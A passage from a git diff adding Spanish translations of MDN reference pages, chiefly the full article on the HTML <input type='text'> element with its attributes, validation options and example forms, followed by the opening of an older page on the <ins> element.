+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/number">&lt;input type="number"&gt;</a></code></li>
+</ul>
diff --git a/files/es/web/html/elemento/input/text/index.html b/files/es/web/html/elemento/input/text/index.html
new file mode 100644
index 0000000000..b98f985679
--- /dev/null
+++ b/files/es/web/html/elemento/input/text/index.html
@@ -0,0 +1,472 @@
+---
+title: <input type="text">
+slug: Web/HTML/Elemento/input/text
+tags:
+  - Entrada de texto
+  - Form input
+  - Formulários HTML
+  - HTML
+  - Input
+  - Input Type
+  - Referencia
+  - Text
+  - Texto
+  - formulários
+  - text input
+translation_of: Web/HTML/Element/input/text
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Los elementos {{HTMLElement("input")}} de tipo {{HTMLAttrDef("text")}} crean campos de texto básicos de una sola línea.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Un {{DOMxRef("DOMString")}} que representa el texto contenido en el campo de texto.</td>
+  </tr>
+  <tr>
+   <td><strong>Eventos</strong></td>
+   <td>{{event("change")}} y {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Atributos comunes admitidos</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} y {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td>{{htmlattrxref("list", "input")}}, {{HTMLAttrDef("value")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Métodos</strong></td>
+   <td>{{DOMxRef("HTMLInputElement.select", "select()")}}, {{DOMxRef("HTMLInputElement.setRangeText", "setRangeText()")}} y {{DOMxRef("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value"><code>Value</code></h2>
+
+<p>El atributo {{HTMLAttrxRef("value", "input")}} es un {{DOMxRef("DOMString")}} que contiene el valor actual del texto ingresado en el campo de texto. Puedes recuperar esto usando la propiedad {{DOMxRef("HTMLInputElement.value", "value")}} en JavaScript.</p>
+
+<pre class="brush: js notranslate">let theText = myTextInput.value;
+</pre>
+
+<p>Si no existen restricciones de validación para la entrada (consulta {{anch("Validación")}} para obtener más detalles), el valor puede ser una cadena vacía ("").</p>
+
+<h2 id="Atributos_adicionales">Atributos adicionales</h2>
+
+<p>Además de los atributos que operan en todos los elementos {{HTMLElement("input")}} independientemente de su tipo, las entradas de texto admiten los siguientes atributos:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>El id del elemento {{HTMLElement("datalist")}} que contiene las opciones de autocompletar predefinidas</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>El número máximo de caracteres que debe aceptar la entrada</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>El número mínimo de caracteres que la entrada puede tener y aún se considera válida</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Una expresión regular que el contenido de la entrada debe coincidir para que sea válida</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Un valor de ejemplo para mostrar en el campo de entrada siempre y cuando esté vacío</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un atributo booleano que indica si el contenido de la entrada debe ser de solo lectura.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un número que indica cuántos caracteres de ancho debe tener el campo de entrada.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Controla si se habilita o no la revisión ortográfica para el campo de entrada, o si se debe usar la configuración de revisión ortográfica predeterminada</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="HTMLAttrDeflist">{{HTMLAttrDef("list")}}</h3>
+
+<p>Los valores del atributo {{HTMLAttrDef("list")}} son el {{DOMxRef("Element.id", "id")}} de un elemento {{HTMLElement("datalist")}} ubicado en el mismo documento. El {{HTMLElement("datalist")}} proporciona una lista de valores predefinidos para sugerir al usuario para esta entrada. Cualquier valor de la lista que no sea compatible con {{HTMLAttrxRef("type", "input")}} no se incluye en las opciones sugeridas. Los valores proporcionados son sugerencias, no requisitos: los usuarios pueden seleccionar de esta lista predefinida o proporcionar un valor diferente.</p>
+
+<h3 id="HTMLAttrDefmaxlength">{{HTMLAttrDef("maxlength")}}</h3>
+
+<p>El número máximo de caracteres (como unidades de código UTF-16) que el usuario puede ingresar en la entrada de {{HTMLAttrDef("text")}}. Debe ser un valor entero 0 o superior. Si no se especifica {{HTMLAttrDef("maxlength")}}, o se especifica un valor no válido, el {{HTMLAttrDef("text")}} de la entrada no tiene una longitud máxima. Este valor también debe ser mayor o igual que el valor de {{HTMLAttrxRef("minlength", "input")}}.</p>
+
+<p>La entrada fallará {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricción de validación")}} si la longitud del valor de texto del campo es mayor que {{HTMLAttrxRef("maxlength", "input")}} Unidades de código UTF-16 de longitud. La validación de la restricción solo se aplica cuando el usuario cambia el valor.</p>
+
+<h3 id="HTMLAttrDefminlength">{{HTMLAttrDef("minlength")}}</h3>
+
+<p>El número mínimo de caracteres (como unidades de código UTF-16) que el usuario puede ingresar en la entrada de {{HTMLAttrDef("texto")}}. Debe ser un valor entero no negativo menor o igual al valor especificado por {{HTMLAttrxRef("maxlength", "input")}}. Si no se especifica {{HTMLAttrDef("minlength")}}, o se especifica un valor no válido, la entrada de {{HTMLAttrDef("text")}} no tiene una longitud mínima.</p>
+
+<p>La entrada fallará {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricción de validación")}} si la longitud del texto ingresado en el campo es menor que {{HTMLAttrDef("minlength")}} Unidades de código UTF-16 de longitud. La validación de la restricción solo se aplica cuando el usuario cambia el valor.</p>
+
+<h3 id="HTMLAttrDefpattern">{{HTMLAttrDef("pattern")}}</h3>
+
+<div id="pattern-include">
+<p>El atributo {{HTMLAttrDef("pattern")}}, cuando se especifica, es una expresión regular que el {{HTMLAttrxRef("value")}} de la entrada debe coincidir para que el valor pase {{web.link("/es/docs/Web/Guide/HTML/HTML5/Constraint_validation", "restricciones de validación")}}. Debe ser una expresión regular de JavaScript válida, como la usada por el tipo {{JSxRef("RegExp")}} y como se documenta en la {{web.link("/es/docs/Web/JavaScript/Guide/Regular_Expressions", "guía sobre expresiones regulares")}}; el indicador <code>'u'</code> se especifica al compilar la expresión regular, de modo que el patrón se trata como una secuencia de puntos de código Unicode, en lugar de ASCII. No se deben especificar barras diagonales alrededor del texto del patrón.</p>
+
+<p>Si el patrón especificado no se especifica o no es válido, no se aplica ninguna expresión regular y este atributo se ignora por completo.</p>
+
+<div class="note">
+<p><strong>Consejo</strong>:: Utiliza el atributo {{HTMLAttrxRef("title", "input")}} para especificar el texto que la mayoría de los navegadores mostrarán como información sobre herramientas para explicar cuáles son los requisitos para coincidir con el patrón. También debes incluir otro texto explicativo cercano.</p>
+</div>
+</div>
+
+<p>Consulta {{anch("Especificación de un patrón")}} para obtener más detalles y un ejemplo.</p>
+
+<h3 id="HTMLAttrDefplaceholder">{{HTMLAttrDef("placeholder")}}</h3>
+
+<p>El atributo {{HTMLAttrDef("placeholder")}} es una cadena que proporciona una breve pista al usuario sobre el tipo de información que se espera en el campo. Debe ser una palabra o frase corta que demuestre el tipo de datos esperado, en lugar de un mensaje explicativo. El texto <em>no debe</em> incluir retornos de carro o saltos de línea.</p>
+
+<p>Si el contenido del control tiene una direccionalidad ({{Glossary("LTR")}} o {{Glossary("RTL")}}) pero necesitas presentar el marcador de posición en la direccionalidad opuesta, puedes usar caracteres de formato de algoritmo bidireccional Unicode para anular la direccionalidad dentro del marcador de posición; consulta {{SectionOnPage("/es/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm", "Anulación de BiDi mediante caracteres de control Unicode")}} para esos caracteres.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Evita utilizar el atributo {{HTMLAttrDef("placeholder")}} si puedes. No es tan útil semánticamente como otras formas de explicar tu formulario y puede causar problemas técnicos inesperados con tu contenido. Consulta {{SectionOnPage("/es/docs/Web/HTML/Element/input", "Etiquetas y marcadores de posición")}} para obtener más información.</p>
+</div>
+
+<h3 id="HTMLAttrDefreadonly">{{HTMLAttrDef("readonly")}}</h3>
+
+<p>Un atributo booleano que, si está presente, significa que el usuario no puede editar este campo. Su {{HTMLAttrDef("value")}}, sin embargo, aún se puede cambiar mediante el código JavaScript configurando directamente la propiedad {{DOMxRef("HTMLInputElement.value")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Debido a que un campo de solo lectura no puede tener un valor, {{HTMLAttrDef("required")}} no tiene ningún efecto en las entradas con el atributo {{HTMLAttrDef("readonly")}} también especificado.</p>
+</div>
+
+<h3 id="HTMLAttrDefsize">{{HTMLAttrDef("size")}}</h3>
+
+<p>El atributo {{HTMLAttrDef("size")}} es un valor numérico que indica cuántos caracteres de ancho debe tener el campo de entrada. El valor debe ser un número mayor que cero, y el valor predeterminado es 20. Dado que el ancho de los caracteres varía, esto puede ser exacto o no y no se debe confiar en que lo sea; la entrada resultante puede ser más estrecha o más ancha que el número especificado de caracteres, dependiendo de los caracteres y la fuente (configuración de {{CSSxRef("fuente")}} en uso).</p>
+
+<p>Esto <em>no</em> establece un límite en la cantidad de caracteres que el usuario puede ingresar en el campo. Solo especifica aproximadamente cuántos se pueden ver a la vez. Para establecer un límite superior en la longitud de los datos de entrada, utiliza el atributo {{anch("maxlength")}}.</p>
+
+<h3 id="HTMLAttrDefspellcheck">{{HTMLAttrDef("spellcheck")}}</h3>
+
+<p>{{HTMLAttrDef("spellcheck")}} es un atributo global que se utiliza para indicar si se habilita o no la revisión ortográfica de un elemento. Se puede usar en cualquier contenido editable, pero aquí consideramos los detalles relacionados con el uso del corrector ortográfico ({{HTMLAttrxRef("spellcheck")}} en elementos {{HTMLElement("input")}}. Los valores permitidos para el corrección ortográfica son:</p>
+
+<dl>
+ <dt><code>false</code></dt>
+ <dd>Desactive la corrección ortográfica de este elemento.</dd>
+ <dt><code>true</code></dt>
+ <dd>Habilita la revisión ortográfica de este elemento.</dd>
+ <dt>"" (cadena vacía) o sin valor</dt>
+ <dd>Sigue el comportamiento predeterminado del elemento para la revisión ortográfica. Esto se puede basar en la configuración de la corrección ortográfica de los padres u otros factores.</dd>
+</dl>
+
+<p>Un campo de entrada puede tener habilitado el corrector ortográfico si no tiene el atributo {{anch("readonly")}} configurado y no está deshabilitado.</p>
+
+<p>Es posible que el valor devuelto al leer el corrector ortográfico puede no reflejar el estado real del corrector ortográfico dentro de un control, si las preferencias de {{Glossary("agente de usuario", "agentes de usuario")}} anulan la configuración.</p>
+
+<h2 id="Atributos_no_estándar">Atributos no estándar</h2>
+
+<p>Los siguientes atributos no estándar también están disponibles en algunos navegadores. Como regla general, debes evitar usarlos a menos que no puedas evitarlo.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Una cadena que indica si la autocorrección está activa (<code>on</code>) o (<code>off</code>). <strong>Solo Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Una cadena que indica el tipo de acción que se realizará cuando el usuario presione la tecla <kbd>Intro</kbd> o <kbd>Retorno</kbd> mientras editas el campo; esto se usa para determinar una etiqueta apropiada para esa tecla en un teclado virtual. <strong>Solo Firefox para Android.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="HTMLAttrDefautocorrect_non-standard_inline">{{HTMLAttrDef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<div id="autocorrect-include">
+<p>Una extensión de Safari, el atributo {{HTMLAttrDef("autocorrect")}} es una cadena que indica si activar o no la corrección automática mientras el usuario está editando este campo. Los valores permitidos son:</p>
+
+<dl>
+ <dt><code>on</code></dt>
+ <dd>Habilita la corrección automática de errores tipográficos, así como el procesamiento de sustituciones de texto, si los hay.</dd>
+ <dt><code>off</code></dt>
+ <dd>Desactiva la corrección automática y las sustituciones de texto.</dd>
+</dl>
+</div>
+
+<h3 id="HTMLAttrDefmozactionhint_non-standard_inline">{{HTMLAttrDef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<div id="mozactionhint-include">
+<p>Una extensión de Mozilla, compatible con Firefox para Android, que proporciona una pista sobre qué tipo de acción se realizará si el usuario presiona la tecla <kbd>Intro</kbd> o <kbd>Retorno</kbd> mientras edita el campo. Esta información se usa para decidir qué tipo de etiqueta usar en la tecla <kbd>Intro</kbd> del teclado virtual.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este <a href="https://html.spec.whatwg.org/#input-modalities:-the-enterkeyhint-attribute">se ha estandarizado</a> como el atributo global {{HTMLAttrxRef("enterkeyhint")}}, pero aún no está ampliamente implementado. Para ver el estado del cambio que se está implementando en Firefox, consulta {{bug(1490661)}}.</p>
+</div>
+
+<p>Los valores permitidos son: <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code> y <code>send</code>. El navegador decide, utilizando esta sugerencia, qué etiqueta poner en la tecla Intro.</p>
+</div>
+
+<h2 id="Usar_entradas_de_texto">Usar entradas de texto</h2>
+
+<p>Los elementos {{HTMLElement("input")}} de tipo {{HTMLAttrDef("text")}} crean entradas básicas de una sola línea. Los debes usar en cualquier lugar donde desees que el usuario ingrese un valor de una sola línea y no hay un tipo de entrada más específico disponible para recopilar ese valor (por ejemplo, si es un {{web.link("/es/docs/Web/HTML/Element/input/datetime-local", "date")}}, {{web.link("/es/docs/Web/HTML/Element/input/url", "URL")}}, {{web.link("/es/docs/Web/HTML/Element/input/email", "email")}}, o {{web.link("/es/docs/Web/HTML/Element/input/search", "término de búsqueda")}}, tiene mejores opciones disponibles).</p>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Esto se renderiza así:</p>
+
+<p>{{EmbedLiveSample("Ejemplo_básico", 600, 50)}}</p>
+
+<p>Cuando se envía, el par de nombre/valor de datos enviado al servidor será <code>uname=Chris</code> (si se ingresó "Chris" como valor de entrada antes del envío). Debes recordar incluir el atributo {{HTMLAttrxRef("name", "input")}} en el elemento {{HTMLElement("input")}}; de lo contrario, el valor del campo de texto no se incluirá con los datos enviados.</p>
+
+<h3 id="Establecer_marcadores_de_posición">Establecer marcadores de posición</h3>
+
+<p>Puedes proporcionar un marcador de posición útil dentro de tu entrada de texto que puede proporcionar una pista sobre qué ingresar al incluir el uso del atributo {{HTMLAttrxRef("placeholder", "input")}}. Mira el siguiente ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"
+           placeholder="Una sola palabra, en minúsculas"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Puedes ver cómo se representa el marcador de posición a continuación:</p>
+
+<p>{{EmbedLiveSample("Establecer_marcadores_de_posición", 600, 50)}}</p>
+
+<p>El marcador de posición generalmente se representa en un color más claro que el color de primer plano del elemento y desaparece automáticamente cuando el usuario comienza a ingresar texto en el campo (o siempre que el campo tiene un valor establecido programáticamente al establecer su atributo {{HTMLAttrDef("value")}}.</p>
+
+<h3 id="Tamaño_físico_del_elemento_de_entrada">Tamaño físico del elemento de entrada</h3>
+
+<p>El tamaño físico del cuadro de entrada se puede controlar mediante el atributo {{HTMLAttrxRef("size", "input")}}. Con él, puedes especificar el número de caracteres que la entrada de texto puede mostrar a la vez. Esto afecta el ancho del elemento, lo cual te permite especificar el ancho en términos de caracteres en lugar de píxeles. En este ejemplo, por ejemplo, la entrada tiene 30 caracteres de ancho:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name"
+           placeholder="Una sola palabra, en minúsculas"
+           size="30"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Tamaño_físico_del_elemento_de_entrada', 600, 50) }}</p>
+
+<h2 id="Validación">Validación</h2>
+
+<p>Los elementos {{HTMLElement("input")}} de tipo {{HTMLAttrDef("text")}} no tienen validación automática aplicada (ya que una entrada de texto básica debe ser capaz de aceptar cualquier cadena arbitraria), pero hay algunas opciones de validación de lado del cliente disponibles, que verás a continuación.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La validación del formulario HTML <em>no</em> sustituye a la de los scripts del servidor que garantizan que los datos introducidos tengan el formato adecuado. Es demasiado fácil para alguien realizar ajustes en el HTML que le permitan omitir la validación o eliminarla por completo. También es posible que alguien simplemente omita tu HTML por completo y envíe los datos directamente a tu servidor. Si tu código del lado del servidor no valida los datos que recibe, podría ocurrir un desastre cuando se ingresen en tu base de datos datos con formato incorrecto (o datos que son demasiado grandes, son del tipo incorrecto, etc.).</p>
+</div>
+
+<h3 id="Una_nota_sobre_estilizado">Una nota sobre estilizado</h3>
+
+<p>Hay pseudoclases útiles disponibles para diseñar elementos de formulario para ayudar al usuario a ver cuándo sus valores son válidos o no. Estos son {{CSSxRef(": valid")}} e {{CSSxRef(":invalid")}}. En esta sección, usaremos el siguiente CSS, que colocará una marca de verificación (tilde) junto a las entradas que contienen valores válidos y una cruz (X) junto a las entradas que contienen valores no válidos.</p>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>La técnica también requiere que se coloque un elemento {{HTMLElement("span")}} después del elemento {{HTMLElement("form")}}, que actúa como contenedor de los iconos. Esto era necesario porque algunos tipos de entrada en algunos navegadores no muestran muy bien los iconos colocados directamente después de ellos.</p>
+
+<h3 id="Hacer_entrada_requerida">Hacer entrada requerida</h3>
+
+<p>Puedes usar el atributo {{HTMLAttrxRef("required", "input")}} como una manera fácil de hacer que se requiera ingresar un valor antes de que se permita el envío del formulario:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; }</pre>
+</div>
+
+<p>Esto se renderiza así:</p>
+
+<p>{{ EmbedLiveSample('Hacer_entrada_requerida', 600, 70) }}</p>
+
+<p>Si intentas enviar el formulario sin ningún término de búsqueda ingresado, el navegador mostrará un mensaje de error.</p>
+
+<h3 id="Longitud_del_valor_de_entrada">Longitud del valor de entrada</h3>
+
+<p>Puedes especificar una longitud mínima (en caracteres) para el valor ingresado usando el atributo {{HTMLAttrxRef("minlength", "input")}}; de manera similar, usa {{HTMLAttrxRef("maxlength", "input")}} para establecer la longitud máxima del valor ingresado, en caracteres.</p>
+
+<p>El siguiente ejemplo requiere que el valor ingresado tenga entre 4 y 8 caracteres de longitud.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required size="10"
+           placeholder="nombreusuario"
+           minlength="4" maxlength="8"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; }</pre>
+</div>
+
+<p>Esto se renderiza así:</p>
+
+<p>{{ EmbedLiveSample('Longitud_del_valor_de_entrada', 600, 70) }}</p>
+
+<p>Si intentas enviar el formulario con menos de 4 caracteres, se te dará un mensaje de error apropiado (que difiere entre los navegadores). Si intentas ingresar más de 8 caracteres, el navegador no te lo permitirá.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si especificas un {{HTMLAttrDef("minlength")}} pero no especificas {{HTMLAttrDef("required")}}, la entrada se considera válida, ya que no se requiere que el usuario especifique un valor.</p>
+</div>
+
+<h3 id="Especificación_de_un_patrón">Especificación de un patrón</h3>
+
+<p>Puedes utilizar el atributo {{HTMLAttrxRef("pattern", "input")}} para especificar una expresión regular con la que el valor ingresado debe coincidir para que se considere válido (ve un curso intensivo simple en {{web.link("/es/docs/Learn/HTML/Forms/Form_validation#Validación_con_una_expresión_regular", "Validación con una expresión regular")}} sobre el uso de expresiones regulares para validar entradas).</p>
+
+<p>El siguiente ejemplo restringe el valor a 4-8 caracteres y requiere que contenga solo letras minúsculas.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Elige un nombre de usuario: &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required size="45"
+           pattern="[a-z]{4,8}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;p&gt;Los nombres de usuario deben estar en minúsculas y tener entre 4 y 8 caracteres de longitud.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+p {
+  font-size: 80%;
+  color: #999;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Esto se renderiza así:</p>
+
+<p>{{ EmbedLiveSample('Especificación_de_un_patrón', 600, 110) }}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Puedes ver buenos ejemplos de entradas de texto utilizadas en contexto en los artículos {{web.link("/es/docs/Learn/HTML/Forms/Your_first_HTML_form", "Mi primer formulario HTML")}} y {{web.link("/es/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form", "Cómo estructurar un formulario HTML")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#text-(type=text)-state-and-search-state-(type=search)', '&lt;input type="text"&gt;')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#text-typetext-state-and-search-state-typesearch', '&lt;input type="text"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.input.input-text")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Forms", "Formularios HTML")}}</li>
+ <li>{{HTMLElement("input")}} y la interfaz {{DOMxRef("HTMLInputElement")}} en que se basa.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/search">&lt;input type="search"&gt;</a></code></li>
+ <li>{{HTMLElement("textarea")}}: Campo de entrada de texto multilínea</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Compatibilidad de propiedades CSS")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/ins/index.html b/files/es/web/html/elemento/ins/index.html
new file mode 100644
index 0000000000..8201603d48
--- /dev/null
+++ b/files/es/web/html/elemento/ins/index.html
@@ -0,0 +1,137 @@
+---
+title: ins
+slug: Web/HTML/Elemento/ins
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/ins
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">ins</code> (insertado) marca las partes de un texto que han sido añadidos al documento.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;ins&gt; e &lt;/ins&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: a veces <a href="/es/HTML/Elemento/Tipos_de_elementos#en_linea" title="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a> a veces <a href="/es/HTML/Elemento/Tipos_de_elementos#en_bloque" title="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: depende, si actua como un elemento en bloque puede contener elementos en bloque. Pero si actua como un elemento en linea solo podrá contener elementos en linea.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">cite</code></td>
+   <td>URI</td>
+   <td>implícito</td>
+   <td>información sobre el cambio</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datetime</code></td>
+   <td>fecha</td>
+   <td>implícito</td>
+   <td>fecha y hora del cambio</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene, o dicho de otra manera, tiene los mismos que en el doctype estricto</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
